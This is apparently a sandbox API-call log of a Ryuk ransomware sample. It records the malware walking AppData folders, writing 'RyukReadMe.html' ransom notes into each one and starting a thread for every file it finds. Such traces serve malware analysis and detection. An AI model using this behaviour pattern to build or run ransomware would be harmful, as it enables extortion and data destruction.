	[0262.621] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0262.621] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0262.621] SetLastError (dwErrCode=0x0) 
	[0262.621] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0262.622] GetLastError () returned 0xb7
	[0262.622] CloseHandle (hObject=0x858) returned 1
	[0262.622] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x56aa8030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56aa8030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1
	[0262.622] SetLastError (dwErrCode=0x0) 
	[0262.622] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0262.623] GetLastError () returned 0xb7
	[0262.623] CloseHandle (hObject=0x858) returned 1
	[0262.623] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x56aa8030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56aa8030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0262.623] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x56aa8030, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x56aa8030, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.623] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x575381d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x575381d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="14.0", cAlternateFileName="")) returned 1
	[0262.623] SetLastError (dwErrCode=0x0) 
	[0262.624] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0262.624] GetLastError () returned 0xb7
	[0262.624] CloseHandle (hObject=0x910) returned 1
	[0262.624] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x575381d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x575381d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0262.624] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x197ec0b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x575381d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x575381d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.625] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="OfficeFileCache", cAlternateFileName="OFFICE~1")) returned 1
	[0262.625] SetLastError (dwErrCode=0x0) 
	[0262.625] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918
	[0262.625] GetLastError () returned 0xb7
	[0262.625] CloseHandle (hObject=0x918) returned 1
	[0262.626] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0262.627] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7a855a0, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.627] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7aab700, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7aab700, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7ad1860, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="FSD-CNRY.FSD", cAlternateFileName="")) returned 1
	[0262.627] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914
	[0262.630] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0262.631] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="FSD-{48508C83-EC67-468F-AA1F-6F3CAF625658}.FSD", cAlternateFileName="FSD-{4~1.FSD")) returned 1
	[0262.631] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0262.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968
	[0264.641] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.642] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 1
	[0264.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0264.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x96c
	[0264.644] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0264.645] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf7ad1860, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7ad1860, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7af79c0, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="FSF-CTBL.FSF", cAlternateFileName="")) returned 0
	[0264.645] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.461] SetLastError (dwErrCode=0x0) 
	[0266.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\OfficeFileCache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\officefilecache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970
	[0266.462] GetLastError () returned 0x0
	[0266.462] WriteFile (in: hFile=0x970, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0266.464] CloseHandle (hObject=0x970) returned 1
	[0266.464] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x575381d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x575381d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x575381d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.464] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x575381d0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x575381d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x575381d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.465] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.465] SetLastError (dwErrCode=0x0) 
	[0266.465] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\14.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\14.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0266.465] GetLastError () returned 0xb7
	[0266.465] CloseHandle (hObject=0x910) returned 1
	[0266.465] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x5755e330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5755e330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0266.465] SetLastError (dwErrCode=0x0) 
	[0266.465] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910
	[0266.466] GetLastError () returned 0xb7
	[0266.466] CloseHandle (hObject=0x910) returned 1
	[0266.466] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x5755e330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5755e330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.466] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x5755e330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5755e330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.466] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5755e330, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5755e330, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5755e330, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.466] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0266.466] SetLastError (dwErrCode=0x0) 
	[0266.467] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970
	[0266.467] GetLastError () returned 0xb7
	[0266.467] CloseHandle (hObject=0x970) returned 1
	[0266.467] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.467] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.468] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4f780d90, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x4f780d90, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.468] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.468] SetLastError (dwErrCode=0x0) 
	[0266.468] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\System\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\system\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970
	[0266.468] GetLastError () returned 0x0
	[0266.469] WriteFile (in: hFile=0x970, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0266.471] CloseHandle (hObject=0x970) returned 1
	[0266.471] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1
	[0266.471] SetLastError (dwErrCode=0x0) 
	[0266.471] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\groove\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970
	[0266.471] GetLastError () returned 0xb7
	[0266.471] CloseHandle (hObject=0x970) returned 1
	[0266.472] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\Groove\\User\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.472] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f780d90, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.472] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57584490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x57584490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x57584490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
